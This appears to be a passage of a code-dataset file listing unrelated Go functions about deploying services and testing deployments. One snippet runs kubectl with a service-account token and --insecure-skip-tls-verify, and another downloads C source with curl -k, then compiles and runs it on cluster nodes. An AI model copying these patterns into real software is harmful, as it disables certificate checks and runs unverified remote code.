{\n\t\tradixhttp.ErrorResponse(w, r, err)\n\t\treturn\n\t}\n\n\tradixhttp.JSONResponse(w, r, &jobSummary)\n}", "func (drc *DummyRectificationClient) Deploy(d Deployable, reqID string) error {\n\tdrc.logf(\"Deploying instance %#v\", d)\n\tdrc.Deployed = append(drc.Deployed, d)\n\treturn nil\n}", "func Deploy(args []string) error {\n\t// TODO: check if the main/env.go file has changed based on env.txt:\n\t// If it has changed and the \"change-env\" argument is not set, print\n\t// an error message and return. If it has changed and \"change-env\" is\n\t// set, replace main/env.go.\n\t// If it has not changed, don't do anything to the existing file.\n\treturn nil\n}", "func TestCallToPublicService(t *testing.T) {\n\tt.Parallel()\n\n\tclients := Setup(t)\n\n\tt.Log(\"Creating a Service for the helloworld test app.\")\n\tnames := test.ResourceNames{\n\t\tService: test.ObjectNameForTest(t),\n\t\tImage: test.HelloWorld,\n\t}\n\n\ttest.EnsureTearDown(t, clients, &names)\n\n\tresources, err := v1test.CreateServiceReady(t, clients, &names)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create initial Service: %v: %v\", names.Service, err)\n\t}\n\n\tif resources.Route.Status.URL.Host == \"\" {\n\t\tt.Fatalf(\"Route is missing .Status.URL: %#v\", resources.Route.Status)\n\t}\n\tif resources.Route.Status.Address == nil {\n\t\tt.Fatalf(\"Route is missing .Status.Address: %#v\", resources.Route.Status)\n\t}\n\n\tgatewayTestCases := []struct {\n\t\tname string\n\t\turl *url.URL\n\t\taccessibleExternally bool\n\t}{\n\t\t{\"local_address\", resources.Route.Status.Address.URL.URL(), false},\n\t\t{\"external_address\", resources.Route.Status.URL.URL(), true},\n\t}\n\n\tfor _, tc := range gatewayTestCases {\n\t\ttc := tc\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tt.Parallel()\n\t\t\tif !test.ServingFlags.DisableLogStream {\n\t\t\t\tcancel := logstream.Start(t)\n\t\t\t\tdefer cancel()\n\t\t\t}\n\t\t\ttestProxyToHelloworld(t, clients, tc.url, false /*inject*/, tc.accessibleExternally)\n\t\t})\n\t}\n}", "func (deployer *KubernetesDeployer) Deploy(endpoint *portainer.Endpoint, data string, composeFormat bool, namespace string) ([]byte, error) {\n\tif composeFormat {\n\t\tconvertedData, err := deployer.convertComposeData(data)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdata = string(convertedData)\n\t}\n\n\ttoken, err := ioutil.ReadFile(\"/var/run/secrets/kubernetes.io/serviceaccount/token\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcommand := path.Join(deployer.binaryPath, \"kubectl\")\n\tif runtime.GOOS == \"windows\" {\n\t\tcommand = path.Join(deployer.binaryPath, \"kubectl.exe\")\n\t}\n\n\targs := make([]string, 0)\n\targs = append(args, \"--server\", endpoint.URL)\n\targs = append(args, \"--insecure-skip-tls-verify\")\n\targs = append(args, \"--token\", string(token))\n\targs = append(args, \"--namespace\", namespace)\n\targs = append(args, \"apply\", \"-f\", \"-\")\n\n\tvar stderr bytes.Buffer\n\tcmd := exec.Command(command, args...)\n\tcmd.Stderr = &stderr\n\tcmd.Stdin = strings.NewReader(data)\n\n\toutput, err := cmd.Output()\n\tif err != nil {\n\t\treturn nil, errors.New(stderr.String())\n\t}\n\n\treturn output, nil\n}", "func TestRunConsulDeploymentsPackageTests(t *testing.T) {\n\tcfg := testutil.SetupTestConfig(t)\n\tsrv, client := testutil.NewTestConsulInstance(t, &cfg)\n\tdefer func() {\n\t\tsrv.Stop()\n\t\tos.RemoveAll(cfg.WorkingDirectory)\n\t}()\n\n\tt.Run(\"groupDeployments\", func(t *testing.T) {\n\t\tt.Run(\"testArtifacts\", func(t *testing.T) {\n\t\t\ttestArtifacts(t, srv)\n\t\t})\n\t\tt.Run(\"testCapabilities\", func(t *testing.T) {\n\t\t\ttestCapabilities(t, srv)\n\t\t})\n\t\tt.Run(\"testDefinitionStore\", func(t *testing.T) {\n\t\t\ttestDefinitionStore(t)\n\t\t})\n\t\tt.Run(\"testDeploymentNodes\", func(t *testing.T) {\n\t\t\ttestDeploymentNodes(t, srv)\n\t\t})\n\t\tt.Run(\"testRequirements\", func(t *testing.T) {\n\t\t\ttestRequirements(t, srv)\n\t\t})\n\t\tt.Run(\"testResolver\", func(t *testing.T) {\n\t\t\ttestResolver(t)\n\t\t})\n\t\tt.Run(\"testGetTypePropertyDataType\", func(t *testing.T) {\n\t\t\ttestGetTypePropertyDataType(t)\n\t\t})\n\t\tt.Run(\"testGetNestedDataType\", func(t *testing.T) {\n\t\t\ttestGetNestedDataType(t)\n\t\t})\n\t\tt.Run(\"testReadComplexVA\", func(t *testing.T) {\n\t\t\ttestReadComplexVA(t)\n\t\t})\n\t\tt.Run(\"testIssueGetEmptyPropRel\", func(t *testing.T) {\n\t\t\ttestIssueGetEmptyPropRel(t)\n\t\t})\n\t\tt.Run(\"testRelationshipWorkflow\", func(t *testing.T) {\n\t\t\ttestRelationshipWorkflow(t)\n\t\t})\n\t\tt.Run(\"testGlobalInputs\", func(t *testing.T) {\n\t\t\ttestGlobalInputs(t)\n\t\t})\n\t\tt.Run(\"testInlineWorkflow\", func(t *testing.T) {\n\t\t\ttestInlineWorkflow(t)\n\t\t})\n\t\tt.Run(\"testDeleteWorkflow\", func(t *testing.T) {\n\t\t\ttestDeleteWorkflow(t)\n\t\t})\n\t\tt.Run(\"testCheckCycleInNestedWorkflows\", func(t *testing.T) {\n\t\t\ttestCheckCycleInNestedWorkflows(t)\n\t\t})\n\t\tt.Run(\"testGetCapabilityProperties\", func(t *testing.T) {\n\t\t\ttestGetCapabilityProperties(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionServiceCapabilityMappings\", func(t *testing.T) {\n\t\t\ttestSubstitutionServiceCapabilityMappings(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionServiceRequirementMappings\", func(t *testing.T) {\n\t\t\ttestSubstitutionServiceRequirementMappings(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionClientDirective\", func(t *testing.T) {\n\t\t\ttestSubstitutionClientDirective(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionClientServiceInstance\", func(t *testing.T) {\n\t\t\ttestSubstitutionClientServiceInstance(t)\n\t\t})\n\t\tt.Run(\"TestOperationImplementationArtifact\", func(t *testing.T) {\n\t\t\ttestOperationImplementationArtifact(t)\n\t\t})\n\t\tt.Run(\"TestOperationHost\", func(t *testing.T) {\n\t\t\ttestOperationHost(t)\n\t\t})\n\t\tt.Run(\"testIssueGetEmptyPropOnRelationship\", func(t *testing.T) {\n\t\t\ttestIssueGetEmptyPropOnRelationship(t)\n\t\t})\n\n\t\tt.Run(\"testTopologyUpdate\", func(t *testing.T) {\n\t\t\ttestTopologyUpdate(t)\n\t\t})\n\t\tt.Run(\"testTopologyBadUpdate\", func(t *testing.T) {\n\t\t\ttestTopologyBadUpdate(t)\n\t\t})\n\t\tt.Run(\"testRepositories\", func(t *testing.T) {\n\t\t\ttestRepositories(t)\n\t\t})\n\t\tt.Run(\"testPurgedDeployments\", func(t *testing.T) {\n\t\t\ttestPurgedDeployments(t, client)\n\t\t})\n\t\tt.Run(\"testDeleteDeployment\", func(t *testing.T) {\n\t\t\ttestDeleteDeployment(t)\n\t\t})\n\t\tt.Run(\"testDeleteInstance\", func(t *testing.T) {\n\t\t\ttestDeleteInstance(t)\n\t\t})\n\t\tt.Run(\"testDeleteAllInstances\", func(t *testing.T) {\n\t\t\ttestDeleteAllInstances(t)\n\t\t})\n\t\tt.Run(\"testDeleteRelationshipInstance\", func(t *testing.T) {\n\t\t\ttestDeleteRelationshipInstance(t)\n\t\t})\n\n\t\tt.Run(\"testResolveAttributeMapping\", func(t *testing.T) {\n\t\t\ttestResolveAttributeMapping(t)\n\t\t})\n\n\t})\n\n\tt.Run(\"CommonsTestsOn_test_topology.yml\", func(t *testing.T) {\n\t\tdeploymentID := testutil.BuildDeploymentID(t)\n\t\terr := StoreDeploymentDefinition(context.Background(), deploymentID, \"testdata/test_topology.yml\")\n\t\trequire.NoError(t, err)\n\n\t\tt.Run(\"TestNodeHasAttribute\", func(t *testing.T) {\n\t\t\ttestNodeHasAttribute(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestNodeHasProperty\", func(t *testing.T) {\n\t\t\ttestNodeHasProperty(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestTopologyTemplateMetadata\", func(t *testing.T) {\n\t\t\ttestTopologyTemplateMetadata(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestAttributeNotifications\", func(t *testing.T) {\n\t\t\ttestAttributeNotifications(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestNotifyAttributeOnValueChange\", func(t *testing.T) {\n\t\t\ttestNotifyAttributeOnValueChange(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestImportTopologyTemplate\", func(t *testing.T) {\n\t\t\ttestImportTopologyTemplateNodeMetadata(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestTopologyTemplateMetadata\", func(t *testing.T) {\n\t\t\ttestTopologyTemplateMetadata(t, deploymentID)\n\t\t})\n\t})\n\n\tt.Run(\"CommonsTestsOn_test_topology_substitution.yml\", func(t *testing.T) {\n\t\tdeploymentID := testutil.BuildDeploymentID(t)\n\t\terr := StoreDeploymentDefinition(context.Background(), deploymentID, \"testdata/test_topology_substitution.yml\")\n\t\trequire.NoError(t, err)\n\n\t\tt.Run(\"TestAddSubstitutionMappingAttributeHostNotification\", func(t *testing.T) {\n\t\t\ttestAddSubstitutionMappingAttributeHostNotification(t, deploymentID)\n\t\t})\n\t})\n}", "func serviceApply(r *test.KnRunResultCollector, serviceName string, args ...string) test.KnRunResult {\n\tfullArgs := append([]string{}, \"service\", \"apply\", serviceName, \"--image\", pkgtest.ImagePath(\"helloworld\"))\n\tfullArgs = append(fullArgs, args...)\n\treturn r.KnTest().Kn().Run(fullArgs...)\n}", "func isDeployedWithinK8s() bool {\n\treturn os.Getenv(\"KUBERNETES_SERVICE_HOST\") != \"\"\n}", "func (e *execution) deployNode(ctx context.Context, clientset kubernetes.Interface, generator *k8sGenerator, nbInstances int32) error {\n\tnamespace, err := defaultNamespace(e.deploymentID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = createNamespaceIfMissing(e.deploymentID, namespace, clientset)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = e.checkRepository(ctx, clientset, generator)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\te.envInputs, _, err = operations.ResolveInputs(e.kv, e.deploymentID, e.nodeName, e.taskID, e.operation)\n\tif err != nil {\n\t\treturn err\n\t}\n\tinputs := e.parseEnvInputs()\n\n\tdeployment, service, err := generator.generateDeployment(e.deploymentID, e.nodeName, e.operation, e.nodeType, e.secretRepoName, inputs, nbInstances)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = clientset.ExtensionsV1beta1().Deployments(namespace).Create(&deployment)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Failed to create deployment\")\n\t}\n\n\tif service.Name != \"\" {\n\t\tserv, err := clientset.CoreV1().Services(namespace).Create(&service)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to create service\")\n\t\t}\n\t\tvar s string\n\t\tnode, err := getHealthyNode(clientset)\n\t\tif err != nil {\n\t\t\tevents.WithContextOptionalFields(ctx).NewLogEntry(events.LogLevelWARN, e.deploymentID).Registerf(\"Not able to find an healthy node\")\n\t\t}\n\t\th, err := getExternalIPAdress(clientset, node)\n\t\tif err != nil {\n\t\t\tevents.WithContextOptionalFields(ctx).NewLogEntry(events.LogLevelWARN, e.deploymentID).Registerf(\"Error getting external ip of node %s\", node)\n\t\t}\n\t\tfor _, val := range serv.Spec.Ports {\n\t\t\tstr := fmt.Sprintf(\"http://%s:%d\", h, val.NodePort)\n\n\t\t\tlog.Printf(\"%s : %s: %d:%d mapped to %s\", serv.Name, val.Name, val.Port, val.TargetPort.IntVal, str)\n\n\t\t\ts = fmt.Sprintf(\"%s %d ==> %s \\n\", s, val.Port, str)\n\n\t\t\tif val.NodePort != 0 {\n\t\t\t\t// The service is accessible to an external IP address through\n\t\t\t\t// this port. Updating the corresponding public endpoints\n\t\t\t\t// kubernetes port mapping\n\t\t\t\terr := e.updatePortMappingPublicEndpoints(val.Port, h, val.NodePort)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"Failed to update endpoint capabilities port mapping\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\terr = deployments.SetAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"k8s_service_url\", s)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set attribute\")\n\t\t}\n\n\t\t// Legacy\n\t\terr = deployments.SetAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"ip_address\", service.Name)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set attribute\")\n\t\t}\n\n\t\terr = deployments.SetAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"k8s_service_name\", service.Name)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set attribute\")\n\t\t}\n\t\t// TODO check that it is a good idea to use it as endpoint ip_address\n\t\terr = deployments.SetCapabilityAttributeForAllInstances(e.kv, e.deploymentID, e.nodeName, \"endpoint\", \"ip_address\", service.Name)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Failed to set capability attribute\")\n\t\t}\n\t}\n\n\t// TODO this is very bad but we need to add a hook in order to undeploy our pods we the tosca node stops\n\t// It will be better if we have a Kubernetes node type with a default stop implementation that will be inherited by\n\t// sub components.\n\t// So let's add an implementation of the stop operation in the node type\n\treturn e.setUnDeployHook()\n}", "func (c *Client) deploy(context context.Context, spec *DeployFunctionSpec, update bool) (int, string) {\n\n\tvar deployOutput string\n\t// Need to alter Gateway to allow nil/empty string as fprocess, to avoid this repetition.\n\tvar fprocessTemplate string\n\tif len(spec.FProcess) > 0 {\n\t\tfprocessTemplate = spec.FProcess\n\t}\n\n\tif spec.Replace {\n\t\tc.DeleteFunction(context, spec.FunctionName, spec.Namespace)\n\t}\n\n\treq := types.FunctionDeployment{\n\t\tEnvProcess: fprocessTemplate,\n\t\tImage: spec.Image,\n\t\tRegistryAuth: spec.RegistryAuth,\n\t\tNetwork: spec.Network,\n\t\tService: spec.FunctionName,\n\t\tEnvVars: spec.EnvVars,\n\t\tConstraints: spec.Constraints,\n\t\tSecrets: spec.Secrets,\n\t\tLabels: &spec.Labels,\n\t\tAnnotations: &spec.Annotations,\n\t\tReadOnlyRootFilesystem: spec.ReadOnlyRootFilesystem,\n\t\tNamespace: spec.Namespace,\n\t}\n\n\thasLimits := false\n\treq.Limits = &types.FunctionResources{}\n\tif spec.FunctionResourceRequest.Limits != nil && len(spec.FunctionResourceRequest.Limits.Memory) > 0 {\n\t\thasLimits = true\n\t\treq.Limits.Memory = spec.FunctionResourceRequest.Limits.Memory\n\t}\n\tif spec.FunctionResourceRequest.Limits != nil && len(spec.FunctionResourceRequest.Limits.CPU) > 0 {\n\t\thasLimits = true\n\t\treq.Limits.CPU = spec.FunctionResourceRequest.Limits.CPU\n\t}\n\tif !hasLimits {\n\t\treq.Limits = nil\n\t}\n\n\thasRequests := false\n\treq.Requests = &types.FunctionResources{}\n\tif spec.FunctionResourceRequest.Requests != nil && len(spec.FunctionResourceRequest.Requests.Memory) > 0 {\n\t\thasRequests = true\n\t\treq.Requests.Memory = spec.FunctionResourceRequest.Requests.Memory\n\t}\n\tif spec.FunctionResourceRequest.Requests != nil && len(spec.FunctionResourceRequest.Requests.CPU) > 0 {\n\t\thasRequests = true\n\t\treq.Requests.CPU = spec.FunctionResourceRequest.Requests.CPU\n\t}\n\n\tif !hasRequests {\n\t\treq.Requests = nil\n\t}\n\n\treqBytes, _ := json.Marshal(&req)\n\treader := bytes.NewReader(reqBytes)\n\tvar request *http.Request\n\n\tmethod := http.MethodPost\n\t// \"application/json\"\n\tif update {\n\t\tmethod = http.MethodPut\n\t}\n\n\tvar err error\n\trequest, err = c.newRequest(method, \"/system/functions\", reader)\n\n\tif err != nil {\n\t\tdeployOutput += fmt.Sprintln(err)\n\t\treturn http.StatusInternalServerError, deployOutput\n\t}\n\n\tres, err := c.doRequest(context, request)\n\n\tif err != nil {\n\t\tdeployOutput += fmt.Sprintln(\"Is OpenFaaS deployed? Do you need to specify the --gateway flag?\")\n\t\tdeployOutput += fmt.Sprintln(err)\n\t\treturn http.StatusInternalServerError, deployOutput\n\t}\n\n\tif res.Body != nil {\n\t\tdefer res.Body.Close()\n\t}\n\n\tswitch res.StatusCode {\n\tcase http.StatusOK, http.StatusCreated, http.StatusAccepted:\n\t\tdeployOutput += fmt.Sprintf(\"Deployed. %s.\\n\", res.Status)\n\n\t\tdeployedURL := fmt.Sprintf(\"URL: %s/function/%s\", c.GatewayURL.String(), generateFuncStr(spec))\n\t\tdeployOutput += fmt.Sprintln(deployedURL)\n\tcase http.StatusUnauthorized:\n\t\tdeployOutput += fmt.Sprintln(\"unauthorized access, run \\\"faas-cli login\\\" to setup authentication for this server\")\n\n\tdefault:\n\t\tbytesOut, err := ioutil.ReadAll(res.Body)\n\t\tif err == nil {\n\t\t\tdeployOutput += fmt.Sprintf(\"Unexpected status: %d, message: %s\\n\", res.StatusCode, string(bytesOut))\n\t\t}\n\t}\n\n\treturn res.StatusCode, deployOutput\n}", "func checkInvoke_forError(t *testing.T, stub *CouchDBMockStub, function string, args []byte) pb.Response {\n\tmockInvokeArgs := [][]byte{[]byte(function), args}\n\ttxId := generateTransactionId()\n\tres := stub.MockInvoke(txId, mockInvokeArgs)\n\tif res.Status != shim.OK {\n\t}\n\treturn res\n}", "func (mr *MockProductMockRecorder) ProductsNotDeployed(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ProductsNotDeployed\", reflect.TypeOf((*MockProduct)(nil).ProductsNotDeployed), arg0, arg1)\n}", "func (a *ContrailAnsibleDeployer) Deploy() error {\n\tswitch a.action {\n\tcase CreateAction:\n\t\treturn a.handleCreate()\n\tcase UpdateAction:\n\t\treturn a.handleUpdate()\n\tcase DeleteAction:\n\t\treturn a.handleDelete()\n\t}\n\treturn nil\n}", "func (t *Tracker) deployFailureHandler(kcd *customv1.KCD, deployments *appsv1.DeploymentList) {\n\tfor _, item := range deployments.Items {\n\t\tdeployment := item\n\t\tset := labels.Set(deployment.Spec.Selector.MatchLabels)\n\t\tpods, err := t.podClient.List(metav1.ListOptions{LabelSelector: set.AsSelector().String()})\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"Unable to grab pod logs for deployment: \" + deployment.Name)\n\t\t}\n\t\tfor _, pod := range pods.Items {\n\t\t\tlog.Tracef(\"Got pod: %v in\", pod.Name)\n\t\t\tpodReady := false\n\t\t\tvar podMessage, podReason string\n\t\t\tfor _, condition := range pod.Status.Conditions {\n\t\t\t\tif condition.Type == \"Ready\" && condition.Status == \"True\" {\n\t\t\t\t\tpodReady = true\n\t\t\t\t\tpodMessage = condition.Message\n\t\t\t\t\tpodReason = condition.Reason\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !podReady {\n\t\t\t\tfor _, container := range pod.Spec.Containers {\n\t\t\t\t\tlogs, err := t.getContainerLog(pod.Name, container.Name)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Warn(err)\n\t\t\t\t\t}\n\t\t\t\t\tdeployMessage := DeployMessage{\n\t\t\t\t\t\tType: \"deployFailedLogs\",\n\t\t\t\t\t\tVersion: \"v1alpha2\",\n\t\t\t\t\t\tBody: FailedPodLogData{\n\t\t\t\t\t\t\tt.clusterName,\n\t\t\t\t\t\t\ttime.Now().UTC(),\n\t\t\t\t\t\t\tdeployment,\n\t\t\t\t\t\t\tt.version,\n\t\t\t\t\t\t\tpod.Name,\n\t\t\t\t\t\t\tcontainer.Name,\n\t\t\t\t\t\t\tlogs,\n\t\t\t\t\t\t\tpodReason,\n\t\t\t\t\t\t\tpodMessage,\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\t\t\t\t\tt.enqueue(t.informerQueues[\"kcd\"], deployMessage)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\treturn\n}", "func Deploy(opts DeployOptions) error {\n\tvar outBuffer bytes.Buffer\n\tstart := time.Now()\n\tlogWriter := LogWriter{App: opts.App}\n\tlogWriter.Async()\n\tdefer logWriter.Close()\n\twriter := io.MultiWriter(&tsuruIo.NoErrorWriter{Writer: opts.OutputStream}, &outBuffer, &logWriter)\n\timageId, err := deployToProvisioner(&opts, writer)\n\telapsed := time.Since(start)\n\tsaveErr := saveDeployData(&opts, imageId, outBuffer.String(), elapsed, err)\n\tif saveErr != nil {\n\t\tlog.Errorf(\"WARNING: couldn't save deploy data, deploy opts: %#v\", opts)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = incrementDeploy(opts.App)\n\tif err != nil {\n\t\tlog.Errorf(\"WARNING: couldn't increment deploy count, deploy opts: %#v\", opts)\n\t}\n\tif opts.App.UpdatePlatform == true {\n\t\topts.App.SetUpdatePlatform(false)\n\t}\n\treturn nil\n}", "func (wk *Worker) InvokeService(args serverless.RPCArgs, _ *struct{}) error {\n\t// TODO: implement me\n\t// Hint: You should locate the interested service registered from serviceMap.\n\t// and call `service.interf.DoService` to make the call to the plugin service.\n\t// TODO TODO TODO\n\t//\n\treturn nil\n}", "func (a *Client) IsDeployKeyValid(params *IsDeployKeyValidParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*IsDeployKeyValidOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewIsDeployKeyValidParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"isDeployKeyValid\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/applications/{appName}/deploykey-valid\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &IsDeployKeyValidReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*IsDeployKeyValidOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for isDeployKeyValid: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func (oi *offsetInjector) deploy(ctx context.Context) error {\n\tif err := oi.c.RunE(ctx, oi.c.All(), \"test -x ./bumptime\"); err == nil {\n\t\toi.deployed = true\n\t\treturn nil\n\t}\n\n\tif err := oi.c.Install(ctx, oi.c.l, oi.c.All(), \"ntp\"); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.Install(ctx, oi.c.l, oi.c.All(), \"gcc\"); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.RunL(ctx, oi.c.l, oi.c.All(), \"sudo\", \"service\", \"ntp\", \"stop\"); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.RunL(ctx, oi.c.l,\n\t\toi.c.All(),\n\t\t\"curl\",\n\t\t\"--retry\", \"3\",\n\t\t\"--fail\",\n\t\t\"--show-error\",\n\t\t\"-kO\",\n\t\t\"https://raw.githubusercontent.com/cockroachdb/jepsen/master/cockroachdb/resources/bumptime.c\",\n\t); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.RunL(ctx, oi.c.l,\n\t\toi.c.All(), \"gcc\", \"bumptime.c\", \"-o\", \"bumptime\", \"&&\", \"rm bumptime.c\",\n\t); err != nil {\n\t\treturn err\n\t}\n\toi.deployed = true\n\treturn nil\n}", "func TestHandle_existingDeployments(t *testing.T) {\n\tvar updatedDeployments []kapi.ReplicationController\n\tvar (\n\t\tconfig *deployapi.DeploymentConfig\n\t\tdeployed *kapi.ReplicationController\n\t\texistingDeployments *kapi.ReplicationControllerList\n\t)\n\n\tcontroller := &DeploymentConfigController{\n\t\tmakeDeployment: func(config *deployapi.DeploymentConfig) (*kapi.ReplicationController, error) {\n\t\t\treturn deployutil.MakeDeployment(config, api.Codec)\n\t\t},\n\t\tdeploymentClient: &deploymentClientImpl{\n\t\t\tcreateDeploymentFunc: func(namespace string, deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\t\tdeployed = deployment\n\t\t\t\treturn deployment, nil\n\t\t\t},\n\t\t\tlistDeploymentsForConfigFunc: func(namespace, configName string) (*kapi.ReplicationControllerList, error) {\n\t\t\t\treturn existingDeployments, nil\n\t\t\t},\n\t\t\tupdateDeploymentFunc: func(namespace string, deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\t\tupdatedDeployments = append(updatedDeployments, *deployment)\n\t\t\t\t//t.Fatalf(\"unexpected update call with deployment %v\", deployment)\n\t\t\t\treturn deployment, nil\n\t\t\t},\n\t\t},\n\t\trecorder: &record.FakeRecorder{},\n\t}\n\n\ttype existing struct {\n\t\tversion int\n\t\tstatus deployapi.DeploymentStatus\n\t\tshouldCancel bool\n\t}\n\n\ttype scenario struct {\n\t\tversion int\n\t\texisting []existing\n\t\terrorType reflect.Type\n\t\texpectDeployment bool\n\t}\n\n\ttransientErrorType := reflect.TypeOf(transientError(\"\"))\n\tscenarios := []scenario{\n\t\t// No existing deployments\n\t\t{1, []existing{}, nil, true},\n\t\t// A single existing completed deployment\n\t\t{2, []existing{{1, deployapi.DeploymentStatusComplete, false}}, nil, true},\n\t\t// A single existing failed deployment\n\t\t{2, []existing{{1, deployapi.DeploymentStatusFailed, false}}, nil, true},\n\t\t// Multiple existing completed/failed deployments\n\t\t{3, []existing{{2, deployapi.DeploymentStatusFailed, false}, {1, deployapi.DeploymentStatusComplete, false}}, nil, true},\n\n\t\t// A single existing deployment in the default state\n\t\t{2, []existing{{1, \"\", false}}, transientErrorType, false},\n\t\t// A single existing new deployment\n\t\t{2, []existing{{1, deployapi.DeploymentStatusNew, false}}, transientErrorType, false},\n\t\t// A single existing pending deployment\n\t\t{2, []existing{{1, deployapi.DeploymentStatusPending, false}}, transientErrorType, false},\n\t\t// A single existing running deployment\n\t\t{2, []existing{{1, deployapi.DeploymentStatusRunning, false}}, transientErrorType, false},\n\t\t// Multiple existing deployments with one in new/pending/running\n\t\t{4, []existing{{3, deployapi.DeploymentStatusRunning, false}, {2, deployapi.DeploymentStatusComplete, false}, {1, deployapi.DeploymentStatusFailed, false}}, transientErrorType, false},\n\n\t\t// Latest deployment exists and has already failed/completed\n\t\t{2, []existing{{2, deployapi.DeploymentStatusFailed, false}, {1, deployapi.DeploymentStatusComplete, false}}, nil, false},\n\t\t// Latest deployment exists and is in new/pending/running state\n\t\t{2, []existing{{2, deployapi.DeploymentStatusRunning, false}, {1, deployapi.DeploymentStatusComplete, false}}, nil, false},\n\n\t\t// Multiple existing deployments with more than one in new/pending/running\n\t\t{4, []existing{{3, deployapi.DeploymentStatusNew, false}, {2, deployapi.DeploymentStatusRunning, true}, {1, deployapi.DeploymentStatusFailed, false}}, transientErrorType, false},\n\t\t// Multiple existing deployments with more than one in new/pending/running\n\t\t// Latest deployment has already failed\n\t\t{6, []existing{{5, deployapi.DeploymentStatusFailed, false}, {4, deployapi.DeploymentStatusRunning, false}, {3, deployapi.DeploymentStatusNew, true}, {2, deployapi.DeploymentStatusComplete, false}, {1, deployapi.DeploymentStatusNew, true}}, transientErrorType, false},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tupdatedDeployments = []kapi.ReplicationController{}\n\t\tdeployed = nil\n\t\tconfig = deploytest.OkDeploymentConfig(scenario.version)\n\t\texistingDeployments = &kapi.ReplicationControllerList{}\n\t\tfor _, e := range scenario.existing {\n\t\t\td, _ := deployutil.MakeDeployment(deploytest.OkDeploymentConfig(e.version), api.Codec)\n\t\t\tif e.status != \"\" {\n\t\t\t\td.Annotations[deployapi.DeploymentStatusAnnotation] = string(e.status)\n\t\t\t}\n\t\t\texistingDeployments.Items = append(existingDeployments.Items, *d)\n\t\t}\n\t\terr := controller.Handle(config)\n\n\t\tif scenario.expectDeployment && deployed == nil {\n\t\t\tt.Fatalf(\"expected a deployment\")\n\t\t}\n\n\t\tif scenario.errorType == nil {\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tif err == nil {\n\t\t\t\tt.Fatalf(\"expected error\")\n\t\t\t}\n\t\t\tif reflect.TypeOf(err) != scenario.errorType {\n\t\t\t\tt.Fatalf(\"error expected: %s, got: %s\", scenario.errorType, reflect.TypeOf(err))\n\t\t\t}\n\t\t}\n\n\t\texpectedCancellations := []int{}\n\t\tactualCancellations := []int{}\n\t\tfor _, e := range scenario.existing {\n\t\t\tif e.shouldCancel {\n\t\t\t\texpectedCancellations = append(expectedCancellations, e.version)\n\t\t\t}\n\t\t}\n\t\tfor _, d := range updatedDeployments {\n\t\t\tactualCancellations = append(actualCancellations, deployutil.DeploymentVersionFor(&d))\n\t\t}\n\n\t\tsort.Ints(actualCancellations)\n\t\tsort.Ints(expectedCancellations)\n\t\tif !reflect.DeepEqual(actualCancellations, expectedCancellations) {\n\t\t\tt.Fatalf(\"expected cancellations: %v, actual: %v\", expectedCancellations, 